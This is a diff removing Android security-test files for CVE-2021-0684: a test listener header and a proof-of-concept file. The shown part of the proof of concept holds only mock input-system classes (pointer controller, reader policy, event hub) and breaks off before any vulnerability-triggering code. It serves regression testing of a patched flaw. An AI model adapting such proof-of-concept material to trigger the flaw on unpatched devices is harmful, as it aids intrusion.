- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- *  is used as reference to come up with file
- *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- *  retained
- */
-
-#ifndef _UI_TEST_INPUT_LISTENER_H
-#define _UI_TEST_INPUT_LISTENER_H
-
-#include <android-base/thread_annotations.h>
-#include "InputListener.h"
-
-using std::chrono_literals::operator""ms;
-
-namespace android {
-
-// --- TestInputListener ---
-
-class TestInputListener : public InputListenerInterface {
-protected:
-    virtual ~TestInputListener();
-
-public:
-    TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
-                      std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
-
-    template <class NotifyArgsType>
-    void assertCalled(NotifyArgsType* outEventArgs, std::string message);
-
-    template <class NotifyArgsType>
-    void assertNotCalled(std::string message);
-
-    template <class NotifyArgsType>
-    void notify(const NotifyArgsType* args);
-
-    virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
-
-    virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
-
-    virtual void notifyKey(const NotifyKeyArgs* args) override;
-
-    virtual void notifyMotion(const NotifyMotionArgs* args) override;
-
-    virtual void notifySwitch(const NotifySwitchArgs* args) override;
-
-    virtual void notifySensor(const NotifySensorArgs* args) override;
-
-    virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
-
-    virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
-
-    std::mutex mLock;
-    std::condition_variable mCondition;
-    const std::chrono::milliseconds mEventHappenedTimeout;
-    const std::chrono::milliseconds mEventDidNotHappenTimeout;
-
-    std::tuple<std::vector<NotifyConfigurationChangedArgs>,  //
-               std::vector<NotifyDeviceResetArgs>,           //
-               std::vector<NotifyKeyArgs>,                   //
-               std::vector<NotifyMotionArgs>,                //
-               std::vector<NotifySwitchArgs>,                //
-               std::vector<NotifySensorArgs>,                //
-               std::vector<NotifyVibratorStateArgs>,         //
-               std::vector<NotifyPointerCaptureChangedArgs>> //
-            mQueues GUARDED_BY(mLock);
-};
-
-} // namespace android
-#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
deleted file mode 100644
index c2dbdf2..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
+++ /dev/null
@@ -1,1238 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- *  is used as reference to come up with file
- *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- *  retained
- */
-
-#include <InputMapper.h>
-#include <InputReader.h>
-#include <InputReaderBase.h>
-#include <InputReaderFactory.h>
-#include <MultiTouchInputMapper.h>
-#include <TestInputListener.h>
-
-namespace android {
-
-using std::chrono_literals::operator""ms;
-using namespace android::flag_operators;
-
-// Timeout for waiting for an expected event
-static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
-
-// An arbitrary time value.
-static constexpr nsecs_t ARBITRARY_TIME = 1234;
-static constexpr nsecs_t READ_TIME = 4321;
-
-// Arbitrary display properties.
-static constexpr int32_t DISPLAY_ID = 0;
-static constexpr int32_t DISPLAY_WIDTH = 480;
-static constexpr int32_t DISPLAY_HEIGHT = 800;
-static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
-static constexpr int32_t BATTERY_STATUS = 4;
-static constexpr int32_t BATTERY_CAPACITY = 66;
-static constexpr int32_t RAW_X_MIN = 25;
-static constexpr int32_t RAW_X_MAX = 1019;
-static constexpr int32_t RAW_Y_MIN = 30;
-static constexpr int32_t RAW_Y_MAX = 1009;
-constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
-constexpr int32_t DEVICE_GENERATION = 2;
-
-const char* DEVICE_NAME = "device";
-const char* DEVICE_LOCATION = "USB1";
-const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
-constexpr int32_t EVENTHUB_ID = 1;
-const std::string UNIQUE_ID = "local:0";
-
-template <typename T>
-static inline T min(T a, T b) {
-    return a < b ? a : b;
-}
-
-// --- TestPointerController ---
-
-class TestPointerController : public PointerControllerInterface {
-    bool mHaveBounds;
-    float mMinX, mMinY, mMaxX, mMaxY;
-    float mX, mY;
-    int32_t mButtonState;
-    int32_t mDisplayId;
-
-public:
-    TestPointerController()
-          : mHaveBounds(false),
-            mMinX(0),
-            mMinY(0),
-            mMaxX(0),
-            mMaxY(0),
-            mX(0),
-            mY(0),
-            mButtonState(0),
-            mDisplayId(ADISPLAY_ID_DEFAULT) {}
-
-    virtual ~TestPointerController() {}
-
-    void setBounds(float minX, float minY, float maxX, float maxY) {
-        mHaveBounds = true;
-        mMinX = minX;
-        mMinY = minY;
-        mMaxX = maxX;
-        mMaxY = maxY;
-    }
-
-    void setPosition(float x, float y) override {
-        mX = x;
-        mY = y;
-    }
-
-    void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
-
-    int32_t getButtonState() const override { return mButtonState; }
-
-    void getPosition(float* outX, float* outY) const override {
-        *outX = mX;
-        *outY = mY;
-    }
-
-    int32_t getDisplayId() const override { return mDisplayId; }
-
-    void setDisplayViewport(const DisplayViewport& viewport) override {
-        mDisplayId = viewport.displayId;
-    }
-
-    const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
-
-private:
-    bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
-        *outMinX = mMinX;
-        *outMinY = mMinY;
-        *outMaxX = mMaxX;
-        *outMaxY = mMaxY;
-        return mHaveBounds;
-    }
-
-    void move(float deltaX, float deltaY) override {
-        mX += deltaX;
-        if (mX < mMinX) mX = mMinX;
-        if (mX > mMaxX) mX = mMaxX;
-        mY += deltaY;
-        if (mY < mMinY) mY = mMinY;
-        if (mY > mMaxY) mY = mMaxY;
-    }
-
-    void fade(Transition) override {}
-
-    void unfade(Transition) override {}
-
-    void setPresentation(Presentation) override {}
-
-    void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
-                  int32_t displayId) override {
-        std::vector<int32_t> newSpots;
-        // Add spots for fingers that are down.
-        for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
-            uint32_t id = idBits.clearFirstMarkedBit();
-            newSpots.push_back(id);
-        }
-
-        mSpotsByDisplay[displayId] = newSpots;
-    }
-
-    void clearSpots() override {}
-
-    std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
-};
-
-// --- TestInputReaderPolicy---
-
-class TestInputReaderPolicy : public InputReaderPolicyInterface {
-    std::mutex mLock;
-    std::condition_variable mDevicesChangedCondition;
-
-    InputReaderConfiguration mConfig;
-    std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
-    std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
-    bool mInputDevicesChanged GUARDED_BY(mLock){false};
-    std::vector<DisplayViewport> mViewports;
-    TouchAffineTransformation transform;
-
-protected:
-    virtual ~TestInputReaderPolicy() {}
-
-public:
-    TestInputReaderPolicy() {}
-
-    virtual void clearViewports() {
-        mViewports.clear();
-        mConfig.setDisplayViewports(mViewports);
-    }
-
-    std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
-        return mConfig.getDisplayViewportByUniqueId(uniqueId);
-    }
-    std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
-        return mConfig.getDisplayViewportByType(type);
-    }
-
-    std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
-        return mConfig.getDisplayViewportByPort(displayPort);
-    }
-
-    void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
-                            bool isActive, const std::string& uniqueId,
-                            std::optional<uint8_t> physicalPort, ViewportType viewportType) {
-        const DisplayViewport viewport =
-                createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
-                                      physicalPort, viewportType);
-        mViewports.push_back(viewport);
-        mConfig.setDisplayViewports(mViewports);
-    }
-
-    bool updateViewport(const DisplayViewport& viewport) {
-        size_t count = mViewports.size();
-        for (size_t i = 0; i < count; i++) {
-            const DisplayViewport& currentViewport = mViewports[i];
-            if (currentViewport.displayId == viewport.displayId) {
-                mViewports[i] = viewport;
-                mConfig.setDisplayViewports(mViewports);
-                return true;
-            }
-        }
-        // no viewport found.
-        return false;
-    }
-
-    void addExcludedDeviceName(const std::string& deviceName) {
-        mConfig.excludedDeviceNames.push_back(deviceName);
-    }
-
-    void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
-        mConfig.portAssociations.insert({inputPort, displayPort});
-    }
-
-    void addInputUniqueIdAssociation(const std::string& inputUniqueId,
-                                     const std::string& displayUniqueId) {
-        mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
-    }
-
-    void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
-
-    void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
-
-    void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
-        mPointerControllers.insert_or_assign(deviceId, std::move(controller));
-    }
-
-    const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
-
-    const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
-
-    TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
-                                                           int32_t surfaceRotation) {
-        return transform;
-    }
-
-    void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
-
-    void setPointerCapture(const PointerCaptureRequest& request) {
-        mConfig.pointerCaptureRequest = request;
-    }
-
-    void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
-
-    void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
-        mConfig.defaultPointerDisplayId = pointerDisplayId;
-    }
-
-    float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
-
-private:
-    DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
-                                          int32_t orientation, bool isActive,
-                                          const std::string& uniqueId,
-                                          std::optional<uint8_t> physicalPort, ViewportType type) {
-        bool isRotated =
-                (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
-        DisplayViewport v;
-        v.displayId = displayId;
-        v.orientation = orientation;
-        v.logicalLeft = 0;
-        v.logicalTop = 0;
-        v.logicalRight = isRotated ? height : width;
-        v.logicalBottom = isRotated ? width : height;
-        v.physicalLeft = 0;
-        v.physicalTop = 0;
-        v.physicalRight = isRotated ? height : width;
-        v.physicalBottom = isRotated ? width : height;
-        v.deviceWidth = isRotated ? height : width;
-        v.deviceHeight = isRotated ? width : height;
-        v.isActive = isActive;
-        v.uniqueId = uniqueId;
-        v.physicalPort = physicalPort;
-        v.type = type;
-        return v;
-    }
-
-    void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
-        *outConfig = mConfig;
-    }
-
-    std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
-        return mPointerControllers[deviceId];
-    }
-
-    void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mInputDevices = inputDevices;
-        mInputDevicesChanged = true;
-        mDevicesChangedCondition.notify_all();
-    }
-
-    std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
-            const InputDeviceIdentifier&) override {
-        return nullptr;
-    }
-
-    std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
-
-    void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
-        std::unique_lock<std::mutex> lock(mLock);
-        base::ScopedLockAssertion assumeLocked(mLock);
-
-        mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
-            return mInputDevicesChanged;
-        });
-        mInputDevicesChanged = false;
-    }
-};
-
-// --- TestEventHub ---
-
-class TestEventHub : public EventHubInterface {
-    struct KeyInfo {
-        int32_t keyCode;
-        uint32_t flags;
-    };
-
-    struct SensorInfo {
-        InputDeviceSensorType sensorType;
-        int32_t sensorDataIndex;
-    };
-
-    struct Device {
-        InputDeviceIdentifier identifier;
-        Flags<InputDeviceClass> classes;
-        PropertyMap configuration;
-        KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
-        KeyedVector<int, bool> relativeAxes;
-        KeyedVector<int32_t, int32_t> keyCodeStates;
-        KeyedVector<int32_t, int32_t> scanCodeStates;
-        KeyedVector<int32_t, int32_t> switchStates;
-        KeyedVector<int32_t, int32_t> absoluteAxisValue;
-        KeyedVector<int32_t, KeyInfo> keysByScanCode;
-        KeyedVector<int32_t, KeyInfo> keysByUsageCode;
-        KeyedVector<int32_t, bool> leds;
-        std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
-        BitArray<MSC_MAX> mscBitmask;
-        std::vector<VirtualKeyDefinition> virtualKeys;
-        bool enabled;
-
-        status_t enable() {
-            enabled = true;
-            return OK;
-        }
-
-        status_t disable() {
-            enabled = false;
-            return OK;
-        }
-
-        explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
-    };
-
-    std::mutex mLock;
-    std::condition_variable mEventsCondition;
-
-    KeyedVector<int32_t, Device*> mDevices;
-    std::vector<std::string> mExcludedDevices;
-    std::vector<RawEvent> mEvents GUARDED_BY(mLock);
-    std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
-    std::vector<int32_t> mVibrators = {0, 1};
-    std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
-    // Simulates a device light brightness, from light id to light brightness.
-    std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
-    // Simulates a device light intensities, from light id to light intensities map.
-    std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
-            mLightIntensities;
-
-public:
-    virtual ~TestEventHub() {
-        for (size_t i = 0; i < mDevices.size(); i++) {
-            delete mDevices.valueAt(i);
-        }
-    }
-
-    TestEventHub() {}
-
-    void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
-        Device* device = new Device(classes);
-        device->identifier.name = name;
-        mDevices.add(deviceId, device);
-
-        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
-    }
-
-    void removeDevice(int32_t deviceId) {
-        delete mDevices.valueFor(deviceId);
-        mDevices.removeItem(deviceId);
-
-        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
-    }
-
-    bool isDeviceEnabled(int32_t deviceId) {
-        Device* device = getDevice(deviceId);
-        if (device == nullptr) {
-            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
-            return false;
-        }
-        return device->enabled;
-    }
-
-    status_t enableDevice(int32_t deviceId) {
-        status_t result;
-        Device* device = getDevice(deviceId);
-        if (device == nullptr) {
-            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
-            return BAD_VALUE;
-        }
-        if (device->enabled) {
-            ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
-            return OK;
-        }
-        result = device->enable();
-        return result;
-    }
-
-    status_t disableDevice(int32_t deviceId) {
-        Device* device = getDevice(deviceId);
-        if (device == nullptr) {
-            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
-            return BAD_VALUE;
-        }
-        if (!device->enabled) {
-            ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
-            return OK;
-        }
-        return device->disable();
-    }
-
-    void finishDeviceScan() {
-        enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
-    }
-
-    void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
-        Device* device = getDevice(deviceId);
-        device->configuration.addProperty(key, value);
-    }
-
-    void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
-        Device* device = getDevice(deviceId);
-        device->configuration.addAll(configuration);
-    }
-
-    void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
-                         int fuzz, int resolution = 0) {
-        Device* device = getDevice(deviceId);
-
-        RawAbsoluteAxisInfo info;
-        info.valid = true;
-        info.minValue = minValue;
-        info.maxValue = maxValue;
-        info.flat = flat;
-        info.fuzz = fuzz;
-        info.resolution = resolution;
-        device->absoluteAxes.add(axis, info);
-    }
-
-    void addRelativeAxis(int32_t deviceId, int32_t axis) {
-        Device* device = getDevice(deviceId);
-        device->relativeAxes.add(axis, true);
-    }
-
-    void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
-        Device* device = getDevice(deviceId);
-        device->keyCodeStates.replaceValueFor(keyCode, state);
-    }
-
-    void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
-        Device* device = getDevice(deviceId);
-        device->scanCodeStates.replaceValueFor(scanCode, state);
-    }
-
-    void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
-        Device* device = getDevice(deviceId);
-        device->switchStates.replaceValueFor(switchCode, state);
-    }
-
-    void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
-        Device* device = getDevice(deviceId);
-        device->absoluteAxisValue.replaceValueFor(axis, value);
-    }
-
-    void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
-                uint32_t flags) {
-        Device* device = getDevice(deviceId);
-        KeyInfo info;
-        info.keyCode = keyCode;
-        info.flags = flags;
-        if (scanCode) {
-            device->keysByScanCode.add(scanCode, info);
-        }
-        if (usageCode) {
-            device->keysByUsageCode.add(usageCode, info);
-        }
-    }
-
-    void addLed(int32_t deviceId, int32_t led, bool initialState) {
-        Device* device = getDevice(deviceId);
-        device->leds.add(led, initialState);
-    }
-
-    void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
-                       int32_t sensorDataIndex) {
-        Device* device = getDevice(deviceId);
-        SensorInfo info;
-        info.sensorType = sensorType;
-        info.sensorDataIndex = sensorDataIndex;
-        device->sensorsByAbsCode.emplace(absCode, info);
-    }
-
-    void setMscEvent(int32_t deviceId, int32_t mscEvent) {
-        Device* device = getDevice(deviceId);
-        typename BitArray<MSC_MAX>::Buffer buffer;
-        buffer[mscEvent / 32] = 1 << mscEvent % 32;
-        device->mscBitmask.loadFromBuffer(buffer);
-    }
-
-    void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
-        mRawLightInfos.emplace(rawId, std::move(info));
-    }
-
-    void testLightBrightness(int32_t rawId, int32_t brightness) {
-        mLightBrightness.emplace(rawId, brightness);
-    }
-
-    void testLightIntensities(int32_t rawId,
-                              const std::unordered_map<LightColor, int32_t> intensities) {
-        mLightIntensities.emplace(rawId, std::move(intensities));
-    }
-
-    bool getLedState(int32_t deviceId, int32_t led) {
-        Device* device = getDevice(deviceId);
-        return device->leds.valueFor(led);
-    }
-
-    std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
-
-    void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
-        Device* device = getDevice(deviceId);
-        device->virtualKeys.push_back(definition);
-    }
-
-    void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
-                      int32_t value) {
-        std::scoped_lock<std::mutex> lock(mLock);
-        RawEvent event;
-        event.when = when;
-        event.readTime = readTime;
-        event.deviceId = deviceId;
-        event.type = type;
-        event.code = code;
-        event.value = value;
-        mEvents.push_back(event);
-
-        if (type == EV_ABS) {
-            setAbsoluteAxisValue(deviceId, code, value);
-        }
-    }
-
-    void setVideoFrames(
-            std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
-        mVideoFrames = std::move(videoFrames);
-    }
-
-private:
-    Device* getDevice(int32_t deviceId) const {
-        ssize_t index = mDevices.indexOfKey(deviceId);
-        return index >= 0 ? mDevices.valueAt(index) : nullptr;
-    }
-
-    Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
-        Device* device = getDevice(deviceId);
-        return device ? device->classes : Flags<InputDeviceClass>(0);
-    }
-
-    InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
-        Device* device = getDevice(deviceId);
-        return device ? device->identifier : InputDeviceIdentifier();
-    }
-
-    int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
-
-    void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            *outConfiguration = device->configuration;
-        }
-    }
-
-    status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
-                                 RawAbsoluteAxisInfo* outAxisInfo) const override {
-        Device* device = getDevice(deviceId);
-        if (device && device->enabled) {
-            ssize_t index = device->absoluteAxes.indexOfKey(axis);
-            if (index >= 0) {
-                *outAxisInfo = device->absoluteAxes.valueAt(index);
-                return OK;
-            }
-        }
-        outAxisInfo->clear();
-        return -1;
-    }
-
-    bool hasRelativeAxis(int32_t deviceId, int axis) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            return device->relativeAxes.indexOfKey(axis) >= 0;
-        }
-        return false;
-    }
-
-    bool hasInputProperty(int32_t, int) const override { return false; }
-
-    bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
-        }
-        return false;
-    }
-
-    status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
-                    int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            const KeyInfo* key = getKey(device, scanCode, usageCode);
-            if (key) {
-                if (outKeycode) {
-                    *outKeycode = key->keyCode;
-                }
-                if (outFlags) {
-                    *outFlags = key->flags;
-                }
-                if (outMetaState) {
-                    *outMetaState = metaState;
-                }
-                return OK;
-            }
-        }
-        return NAME_NOT_FOUND;
-    }
-
-    const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
-        if (usageCode) {
-            ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
-            if (index >= 0) {
-                return &device->keysByUsageCode.valueAt(index);
-            }
-        }
-        if (scanCode) {
-            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
-            if (index >= 0) {
-                return &device->keysByScanCode.valueAt(index);
-            }
-        }
-        return nullptr;
-    }
-
-    status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
-
-    base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
-                                                                      int32_t absCode) {
-        Device* device = getDevice(deviceId);
-        if (!device) {
-            return Errorf("Sensor device not found.");
-        }
-        auto it = device->sensorsByAbsCode.find(absCode);
-        if (it == device->sensorsByAbsCode.end()) {
-            return Errorf("Sensor map not found.");
-        }
-        const SensorInfo& info = it->second;
-        return std::make_pair(info.sensorType, info.sensorDataIndex);
-    }
-
-    void setExcludedDevices(const std::vector<std::string>& devices) override {
-        mExcludedDevices = devices;
-    }
-
-    size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
-        std::scoped_lock lock(mLock);
-
-        const size_t filledSize = std::min(mEvents.size(), bufferSize);
-        std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
-
-        mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
-        mEventsCondition.notify_all();
-        return filledSize;
-    }
-
-    std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
-        auto it = mVideoFrames.find(deviceId);
-        if (it != mVideoFrames.end()) {
-            std::vector<TouchVideoFrame> frames = std::move(it->second);
-            mVideoFrames.erase(deviceId);
-            return frames;
-        }
-        return {};
-    }
-
-    int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
-            if (index >= 0) {
-                return device->scanCodeStates.valueAt(index);
-            }
-        }
-        return AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
-            if (index >= 0) {
-                return device->keyCodeStates.valueAt(index);
-            }
-        }
-        return AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->switchStates.indexOfKey(sw);
-            if (index >= 0) {
-                return device->switchStates.valueAt(index);
-            }
-        }
-        return AKEY_STATE_UNKNOWN;
-    }
-
-    status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
-                                  int32_t* outValue) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
-            if (index >= 0) {
-                *outValue = device->absoluteAxisValue.valueAt(index);
-                return OK;
-            }
-        }
-        *outValue = 0;
-        return -1;
-    }
-
-    // Return true if the device has non-empty key layout.
-    bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
-                               uint8_t* outFlags) const override {
-        bool result = false;
-        Device* device = getDevice(deviceId);
-        if (device) {
-            result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
-            for (size_t i = 0; i < numCodes; i++) {
-                for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
-                    if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
-                        outFlags[i] = 1;
-                    }
-                }
-                for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
-                    if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
-                        outFlags[i] = 1;
-                    }
-                }
-            }
-        }
-        return result;
-    }
-
-    bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
-            return index >= 0;
-        }
-        return false;
-    }
-
-    bool hasLed(int32_t deviceId, int32_t led) const override {
-        Device* device = getDevice(deviceId);
-        return device && device->leds.indexOfKey(led) >= 0;
-    }
-
-    void setLedState(int32_t deviceId, int32_t led, bool on) override {}
-
-    void getVirtualKeyDefinitions(
-            int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
-        outVirtualKeys.clear();
-
-        Device* device = getDevice(deviceId);
-        if (device) {
-            outVirtualKeys = device->virtualKeys;
-        }
-    }
-
-    const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
-        return nullptr;
-    }
-
-    bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
-        return false;
-    }
-
-    void vibrate(int32_t, const VibrationElement&) override {}
-
-    void cancelVibrate(int32_t) override {}
-
-    std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
-
-    std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
-        return BATTERY_CAPACITY;
-    }
-
-    std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
-        return BATTERY_STATUS;
-    }
-
-    const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
-
-    std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
-        return std::nullopt;
-    }
-
-    const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
-        std::vector<int32_t> ids;
-        for (const auto& [rawId, info] : mRawLightInfos) {
-            ids.push_back(rawId);
-        }
-        return ids;
-    }
-
-    std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
-        auto it = mRawLightInfos.find(lightId);
-        if (it == mRawLightInfos.end()) {
-            return std::nullopt;
-        }
-        return it->second;
-    }
-
-    void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
-        mLightBrightness.emplace(lightId, brightness);
-    }
-
-    void setLightIntensities(int32_t deviceId, int32_t lightId,
-                             std::unordered_map<LightColor, int32_t> intensities) override {
-        mLightIntensities.emplace(lightId, intensities);
-    };
-
-    std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
-        auto lightIt = mLightBrightness.find(lightId);
-        if (lightIt == mLightBrightness.end()) {
-            return std::nullopt;
-        }
-        return lightIt->second;
-    }
-
-    std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
-            int32_t deviceId, int32_t lightId) override {
-        auto lightIt = mLightIntensities.find(lightId);
-        if (lightIt == mLightIntensities.end()) {
-            return std::nullopt;
-        }
